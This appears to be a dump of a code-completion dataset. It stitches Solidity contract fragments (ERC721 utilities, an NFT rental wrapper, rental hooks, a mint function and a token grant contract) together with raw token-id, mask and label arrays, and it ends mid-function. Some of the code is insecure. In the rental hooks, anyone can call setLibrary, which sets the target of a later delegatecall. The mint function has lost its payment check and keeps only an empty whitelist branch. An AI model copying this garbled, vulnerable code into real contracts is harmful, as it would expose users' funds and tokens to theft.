bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.11; import "ERC721ReadOnlyProxy.sol"; interface IWRentableHooks { function afterWTokenTransfer( address tokenAddress, address from, address to, uint256 tokenId ) external ; } interface IRentable { struct Lease { address paymentTokenAddress; uint256 eta; uint256 qtyToPullRemaining; uint256 feesToPullRemaining; uint256 lastUpdated; address tokenAddress; uint256 tokenId; address from; address to; } function currentLeases(address tokenAddress, uint256 tokenId) external view returns (Lease memory); } contract WRentable is ERC721ReadOnlyProxy { address internal _rentable; string constant PREFIX = "w"; modifier onlyRentable() { require(_msgSender() == _rentable, "Only rentable"); _; } constructor(address wrapped_) ERC721ReadOnlyProxy(wrapped_, PREFIX) {} function init(address wrapped, address owner) external virtual { _init(wrapped, PREFIX, owner); } function setRentable(address rentable_) external onlyOwner { _rentable = rentable_; _minter = rentable_; } function getRentable() external view returns (address) { return _rentable; } //TODO: balanceOf /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { IRentable.Lease memory lease = IRentable(_rentable).currentLeases( _wrapped, tokenId ); if (lease.eta > 0 && lease.eta > block.number) { return super.ownerOf(tokenId); } else { return address(0); } } function exists(uint256 tokenId) external view virtual returns (bool) { return super._exists(tokenId); } function _transfer( address from, address to, uint256 tokenId ) internal virtual override { super._transfer(from, to, tokenId); IWRentableHooks(_rentable).afterWTokenTransfer(_wrapped, from, to, tokenId); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.11; import "Address.sol"; import "ICollectionLibrary.sol"; contract RentableHooks { using Address for address; mapping(address => address) internal _libraries; function getLibrary(address wrapped_) external view returns (address) { return _libraries[wrapped_]; } function setLibrary(address wrapped_, address library_) external { _libraries[wrapped_] = library_; } function _postDeposit( address tokenAddress, uint256 tokenId, address user ) internal { address lib = _libraries[tokenAddress]; if (lib != address(0)) { lib.functionDelegateCall( abi.encodeCall( ICollectionLibrary(lib).postDeposit, (tokenAddress, tokenId, user) ), "" ); } } function _postList( address tokenAddress, uint256 tokenId, address user, uint256 maxTimeDuration, uint256 pricePerBlock ) internal { address lib = _libraries[tokenAddress]; if (lib != address(0)) { lib.functionDelegateCall( abi.encodeCall( ICollectionLibrary(lib).postList, ( tokenAddress, tokenId, user, maxTimeDuration, pricePerBlock ) ), "" ); } } function _postCreateRent( uint256 leaseId, address tokenAddress, uint256 tokenId, uint256 duration, address from, address to ) internal { address lib = _libraries[tokenAddress]; if (lib != address(0)) { lib.functionDelegateCall( abi.encodeCall( ICollectionLibrary(lib).postCreateRent, (leaseId, tokenAddress, tokenId, duration, from, to) ), "" ); } } function _postExpireRent( uint256 leaseId, address tokenAddress, uint256 tokenId, address from, address to ) internal { address lib = _libraries[tokenAddress]; if (lib != address(0)) { lib.functionDelegateCall( abi.encodeCall( ICollectionLibrary(lib).postExpireRent, (leaseId, tokenAddress, tokenId, from, to) ), "" ); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.11; interface ICollectionLibrary { function postDeposit( address tokenAddress, uint256 tokenId, address user ) external; function postList( address tokenAddress, uint256 tokenId, address user, uint256 maxTimeDuration, uint256 pricePerBlock ) external; function postCreateRent( uint256 leaseId, address tokenAddress, uint256 tokenId, uint256 duration, address from, address to ) external payable; function postExpireRent( uint256 leaseId, address tokenAddress, uint256 tokenId, address from, address to ) external payable; function postWTokenTransfer( address tokenAddress, uint256 tokenId, address from, address to ) external; function postOTokenTransfer( address tokenAddress, uint256 tokenId, address from, address to, bool rented ) external; }
* @dev See {IERC721Metadata-tokenURI}./
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { return IERC721MetadataUpgradeable(_wrapped).tokenURI(tokenId); }
328,654
[ 1, 9704, 288, 45, 654, 39, 27, 5340, 2277, 17, 2316, 3098, 5496, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1147, 3098, 12, 11890, 5034, 1147, 548, 13, 203, 3639, 1071, 203, 3639, 1476, 203, 3639, 5024, 203, 3639, 3849, 203, 3639, 1135, 261, 1080, 3778, 13, 203, 565, 288, 203, 3639, 327, 467, 654, 39, 27, 5340, 2277, 10784, 429, 24899, 18704, 2934, 2316, 3098, 12, 2316, 548, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/80001/0x1941F4cacfa350A67B1b00C53308Eb76778063Da/sources/contracts/Punk.sol
public require(msg.value >= cost * _mintAmount, "Not enough ETH sent; check price!"); update
function mint(address _to, uint256 _mintAmount) public payable { uint256 supply = totalSupply(); require(!paused); require(_mintAmount > 0); require(_mintAmount <= maxMintAmount); require(supply + _mintAmount <= maxSupply); if(msg.sender != owner()) { if (whitelisted[msg.sender] != true) { } } for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(_to, supply + i); } }
5,601,093
[ 1, 482, 225, 2583, 12, 3576, 18, 1132, 1545, 6991, 225, 389, 81, 474, 6275, 16, 315, 1248, 7304, 512, 2455, 3271, 31, 866, 6205, 4442, 1769, 1089, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 312, 474, 12, 2867, 389, 869, 16, 2254, 5034, 389, 81, 474, 6275, 13, 1071, 8843, 429, 288, 203, 3639, 2254, 5034, 14467, 273, 2078, 3088, 1283, 5621, 203, 3639, 2583, 12, 5, 8774, 3668, 1769, 203, 3639, 2583, 24899, 81, 474, 6275, 405, 374, 1769, 203, 3639, 2583, 24899, 81, 474, 6275, 1648, 943, 49, 474, 6275, 1769, 203, 3639, 2583, 12, 2859, 1283, 397, 389, 81, 474, 6275, 1648, 943, 3088, 1283, 1769, 203, 3639, 203, 3639, 309, 12, 3576, 18, 15330, 480, 3410, 10756, 288, 203, 5411, 309, 261, 20409, 329, 63, 3576, 18, 15330, 65, 480, 638, 13, 288, 203, 1850, 289, 203, 3639, 289, 203, 3639, 203, 3639, 364, 261, 11890, 5034, 277, 273, 404, 31, 277, 1648, 389, 81, 474, 6275, 31, 277, 27245, 288, 203, 5411, 389, 4626, 49, 474, 24899, 869, 16, 14467, 397, 277, 1769, 203, 3639, 289, 203, 1850, 203, 565, 289, 203, 1377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/4/0xa39a7F1ECd39f5ff0d7Cd72f193E94924Dad60D5/sources/PandaHead-U5.sol
* @dev Converts a `uint256` to its ASCII `string` representation./ Inspired by OraclizeAPI's implementation - MIT licence https:github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
function toString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index] = bytes1(uint8(48 + temp % 10)); if (index !=0) { index--; } temp /= 10; } return string(buffer); }
728,994
[ 1, 5692, 279, 1375, 11890, 5034, 68, 358, 2097, 11768, 1375, 1080, 68, 4335, 18, 19, 657, 1752, 2921, 635, 531, 354, 830, 554, 2557, 1807, 4471, 300, 490, 1285, 328, 335, 802, 2333, 30, 6662, 18, 832, 19, 280, 10150, 554, 19, 546, 822, 379, 17, 2425, 19, 10721, 19, 70, 9452, 27879, 70, 20, 4449, 71, 27, 72, 26, 1340, 3437, 8204, 5193, 26, 71, 30234, 3247, 26, 4366, 29, 73, 11180, 4848, 73, 28, 19, 280, 10150, 554, 2557, 67, 20, 18, 24, 18, 2947, 18, 18281, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1762, 12, 11890, 5034, 460, 13, 2713, 16618, 1135, 261, 1080, 3778, 13, 288, 203, 7010, 3639, 309, 261, 1132, 422, 374, 13, 288, 203, 5411, 327, 315, 20, 14432, 203, 3639, 289, 203, 3639, 2254, 5034, 1906, 273, 460, 31, 203, 3639, 2254, 5034, 6815, 31, 203, 3639, 1323, 261, 5814, 480, 374, 13, 288, 203, 5411, 6815, 9904, 31, 203, 5411, 1906, 9531, 1728, 31, 203, 3639, 289, 203, 3639, 1731, 3778, 1613, 273, 394, 1731, 12, 16649, 1769, 203, 3639, 2254, 5034, 770, 273, 6815, 300, 404, 31, 203, 3639, 1906, 273, 460, 31, 203, 3639, 1323, 261, 5814, 480, 374, 13, 288, 203, 5411, 1613, 63, 1615, 65, 273, 1731, 21, 12, 11890, 28, 12, 8875, 397, 1906, 738, 1728, 10019, 203, 5411, 309, 261, 1615, 480, 20, 13, 288, 203, 7734, 770, 413, 31, 203, 5411, 289, 203, 5411, 1906, 9531, 1728, 31, 203, 3639, 289, 203, 3639, 327, 533, 12, 4106, 1769, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.5.17; import "openzeppelin-solidity/contracts/token/ERC20/ERC20Burnable.sol"; import "openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol"; import "openzeppelin-solidity/contracts/math/SafeMath.sol"; import "./libraries/grant/UnlockingSchedule.sol"; import "./utils/BytesLib.sol"; import "./utils/AddressArrayUtils.sol"; import "./TokenStaking.sol"; import "./TokenGrantStake.sol"; import "./GrantStakingPolicy.sol"; /** * @title TokenGrant * @dev A token grant contract for a specified standard ERC20Burnable token. * Has additional functionality to stake delegate/undelegate token grants. * Tokens are granted to the grantee via unlocking scheme and can be * withdrawn gradually based on the unlocking schedule cliff and unlocking duration. * Optionally grant can be revoked by the token grant manager. */ contract TokenGrant { using SafeMath for uint256; using UnlockingSchedule for uint256; using SafeERC20 for ERC20Burnable; using BytesLib for bytes; using AddressArrayUtils for address[]; event TokenGrantCreated(uint256 id); event TokenGrantWithdrawn(uint256 indexed grantId, uint256 amount); event TokenGrantStaked(uint256 indexed grantId, uint256 amount, address operator); event TokenGrantRevoked(uint256 id); struct Grant { address grantManager; // Token grant manager. address grantee; // Address to which granted tokens are going to be withdrawn. uint256 revokedAt; // Timestamp at which grant was revoked by the grant manager. uint256 revokedAmount; // The number of tokens returned to the grant creator. bool revocable; // Whether grant manager can revoke the grant. uint256 amount; // Amount of tokens to be granted. uint256 duration; // Duration in seconds of the period in which the granted tokens will unlock. uint256 start; // Timestamp at which unlocking will start. uint256 cliff; // Duration in seconds of the cliff after which tokens will begin to unlock. uint256 withdrawn; // Amount that was withdrawn to the grantee. uint256 staked; // Amount that was staked by the grantee. GrantStakingPolicy stakingPolicy; } uint256 public numGrants; ERC20Burnable public token; // Staking contracts authorized by the given grant manager. // grant manager -> staking contract -> authorized? mapping(address => mapping (address => bool)) internal stakingContracts; // Token grants. mapping(uint256 => Grant) public grants; // Token grants stakes. mapping(address => TokenGrantStake) public grantStakes; // Mapping of token grant IDs per particular address // involved in a grant as a grantee or as a grant manager. mapping(address => uint256[]) public grantIndices; // Token grants balances. Sum of all granted tokens to a grantee. // This includes granted tokens that are already unlocked and // available to be withdrawn to the grantee mapping(address => uint256) public balances; // Mapping of operator addresses per particular grantee address. mapping(address => address[]) public granteesToOperators; /** * @dev Creates a token grant contract for a provided Standard ERC20Burnable token. * @param _tokenAddress address of a token that will be linked to this contract. */ constructor(address _tokenAddress) public { require(_tokenAddress != address(0x0), "Token address can't be zero."); token = ERC20Burnable(_tokenAddress); } /** * @dev Used by grant manager to authorize staking contract with the given * address. */ function authorizeStakingContract(address _stakingContract) public { require( _stakingContract != address(0x0), "Staking contract address can't be zero" ); stakingContracts[msg.sender][_stakingContract] = true; } /** * @dev Gets the amount of granted tokens to the specified address. * @param _owner The address to query the grants balance of. * @return An uint256 representing the grants balance owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } /** * @dev Gets the stake balance of the specified address. * @param _address The address to query the balance of. * @return An uint256 representing the amount staked by the passed address. */ function stakeBalanceOf(address _address) public view returns (uint256 balance) { for (uint i = 0; i < grantIndices[_address].length; i++) { uint256 id = grantIndices[_address][i]; balance += grants[id].staked; } return balance; } /** * @dev Gets grant by ID. Returns only basic grant data. * If you need unlocking schedule for the grant you must call `getGrantUnlockingSchedule()` * This is to avoid Ethereum `Stack too deep` issue described here: * https://forum.ethereum.org/discussion/2400/error-stack-too-deep-try-removing-local-variables * @param _id ID of the token grant. * @return amount The amount of tokens the grant provides. * @return withdrawn The amount of tokens that have already been withdrawn * from the grant. * @return staked The amount of tokens that have been staked from the grant. * @return revoked A boolean indicating whether the grant has been revoked, * which is to say that it is no longer unlocking. * @return grantee The grantee of grant. */ function getGrant(uint256 _id) public view returns ( uint256 amount, uint256 withdrawn, uint256 staked, uint256 revokedAmount, uint256 revokedAt, address grantee ) { return ( grants[_id].amount, grants[_id].withdrawn, grants[_id].staked, grants[_id].revokedAmount, grants[_id].revokedAt, grants[_id].grantee ); } /** * @dev Gets grant unlocking schedule by grant ID. * @param _id ID of the token grant. * @return grantManager The address designated as the manager of the grant, * which is the only address that can revoke this grant. * @return duration The duration, in seconds, during which the tokens will * unlocking linearly. * @return start The start time, as a timestamp comparing to `now`. * @return cliff The duration, in seconds, before which none of the tokens * in the token will be unlocked, and after which a linear * amount based on the age of the grant will be unlocked. */ function getGrantUnlockingSchedule( uint256 _id ) public view returns ( address grantManager, uint256 duration, uint256 start, uint256 cliff ) { return ( grants[_id].grantManager, grants[_id].duration, grants[_id].start, grants[_id].cliff ); } /** * @dev Gets grant ids of the specified address. * @param _granteeOrGrantManager The address to query. * @return An uint256 array of grant IDs. */ function getGrants(address _granteeOrGrantManager) public view returns (uint256[] memory) { return grantIndices[_granteeOrGrantManager]; } /** * @dev Gets operator addresses of the specified grantee address. * @param grantee The grantee address. * @return An array of all operators for a given grantee. */ function getGranteeOperators(address grantee) public view returns (address[] memory) { return granteesToOperators[grantee]; } /** * @dev Gets grant stake details of the given operator. * @param operator The operator address. * @return grantId ID of the token grant. * @return amount The amount of tokens the given operator delegated. * @return stakingContract The address of staking contract. */ function getGrantStakeDetails(address operator) public view returns (uint256 grantId, uint256 amount, address stakingContract) { return grantStakes[operator].getDetails(); } /** * @notice Receives approval of token transfer and creates a token grant with a unlocking * schedule where balance withdrawn to the grantee gradually in a linear fashion until * start + duration. By then all of the balance will have unlocked. * @param _from The owner of the tokens who approved them to transfer. * @param _amount Approved amount for the transfer to create token grant. * @param _token Token contract address. * @param _extraData This byte array must have the following values concatenated: * grantee (20 bytes) Address of the grantee. * duration (32 bytes) Duration in seconds of the unlocking period. * cliff (32 bytes) Duration in seconds of the cliff after which tokens will begin to unlock. * start (32 bytes) Timestamp at which unlocking will start. * revocable (1 byte) Whether the token grant is revocable or not (1 or 0). * stakingPolicy (20 bytes) Address of the staking policy for the grant. */ function receiveApproval(address _from, uint256 _amount, address _token, bytes memory _extraData) public { require(ERC20Burnable(_token) == token, "Token contract must be the same one linked to this contract."); require(_amount <= token.balanceOf(_from), "Sender must have enough amount."); require(_extraData.length == 137, "Invalid extra data length."); address _grantee = _extraData.toAddress(0); uint256 _duration = _extraData.toUint(20); uint256 _start = _extraData.toUint(52); uint256 _cliff = _extraData.toUint(84); require(_grantee != address(0), "Grantee address can't be zero."); require(_cliff <= _duration, "Unlocking cliff duration must be less or equal total unlocking duration."); bool _revocable; if (_extraData.slice(116, 1)[0] == 0x01) { _revocable = true; } address _stakingPolicy = _extraData.toAddress(117); require(_stakingPolicy != address(0), "Staking policy can't be zero."); uint256 id = numGrants++; grants[id] = Grant( _from, _grantee, 0, 0, _revocable, _amount, _duration, _start, _start.add(_cliff), 0, 0, GrantStakingPolicy(_stakingPolicy) ); // Maintain a record to make it easier to query grants by grant manager. grantIndices[_from].push(id); // Maintain a record to make it easier to query grants by grantee. grantIndices[_grantee].push(id); token.safeTransferFrom(_from, address(this), _amount); // Maintain a record of the unlocked amount balances[_grantee] = balances[_grantee].add(_amount); emit TokenGrantCreated(id); } /** * @notice Withdraws Token grant amount to grantee. * @dev Transfers unlocked tokens of the token grant to grantee. * @param _id Grant ID. */ function withdraw(uint256 _id) public { uint256 amount = withdrawable(_id); require(amount > 0, "Grant available to withdraw amount should be greater than zero."); // Update withdrawn amount. grants[_id].withdrawn = grants[_id].withdrawn.add(amount); // Update grantee grants balance. balances[grants[_id].grantee] = balances[grants[_id].grantee].sub(amount); // Transfer tokens from this contract balance to the grantee token balance. token.safeTransfer(grants[_id].grantee, amount); emit TokenGrantWithdrawn(_id, amount); } /** * @notice Calculates and returns unlocked grant amount. * @dev Calculates token grant amount that has already unlocked, * including any tokens that have already been withdrawn by the grantee as well * as any tokens that are available to withdraw but have not yet been withdrawn. * @param _id Grant ID. */ function unlockedAmount(uint256 _id) public view returns (uint256) { Grant storage grant = grants[_id]; return (grant.revokedAt != 0) // Grant revoked -> return what is remaining ? grant.amount.sub(grant.revokedAmount) // Not revoked -> calculate the unlocked amount normally : now.getUnlockedAmount( grant.amount, grant.duration, grant.start, grant.cliff ); } /** * @notice Calculates withdrawable granted amount. * @dev Calculates the amount that has already unlocked but hasn't been withdrawn yet. * @param _id Grant ID. */ function withdrawable(uint256 _id) public view returns (uint256) { uint256 unlocked = unlockedAmount(_id); uint256 withdrawn = grants[_id].withdrawn; uint256 staked = grants[_id].staked; if (withdrawn.add(staked) >= unlocked) { return 0; } else { return unlocked.sub(withdrawn).sub(staked); } } /** * @notice Allows the grant manager to revoke the grant. * @dev Granted tokens that are already unlocked (releasable amount) remain so grantee can still withdraw them * the rest are returned to the token grant manager. * @param _id Grant ID. */ function revoke(uint256 _id) public { require(grants[_id].grantManager == msg.sender, "Only grant manager can revoke."); require(grants[_id].revocable, "Grant must be revocable in the first place."); // This is safe because revocable grant cannot be staked. require(grants[_id].revokedAt == 0, "Grant must not be already revoked."); uint256 amount = withdrawable(_id); uint256 refund = grants[_id].amount.sub(amount); grants[_id].revokedAt = now; grants[_id].revokedAmount = refund; // Update grantee's grants balance. balances[grants[_id].grantee] = balances[grants[_id].grantee].sub(refund); // Transfer tokens from this contract balance to the token grant manager. token.safeTransfer(grants[_id].grantManager, refund); emit TokenGrantRevoked(_id); } /** * @notice Stake token grant. * @dev Stakable token grant amount is the amount of unlocked tokens minus what user already withdrawn from the grant * @param _id Grant Id. * @param _stakingContract Address of the staking contract. * @param _amount Amount to stake. * @param _extraData Data for stake delegation. This byte array must have the following values concatenated: * Magpie address (20 bytes) where the rewards for participation are sent and operator's (20 bytes) address. */ function stake(uint256 _id, address _stakingContract, uint256 _amount, bytes memory _extraData) public { require(grants[_id].grantee == msg.sender, "Only grantee of the grant can stake it."); require( stakingContracts[grants[_id].grantManager][_stakingContract], "Provided staking contract is not authorized." ); // Expecting 40 bytes _extraData for stake delegation. require(_extraData.length == 60, "Stake delegation data must be provided."); address operator = _extraData.toAddress(20); // Calculate available amount. Amount of unlocked tokens minus what user already withdrawn and staked. require(_amount <= availableToStake(_id), "Must have available granted amount to stake."); // Keep staking 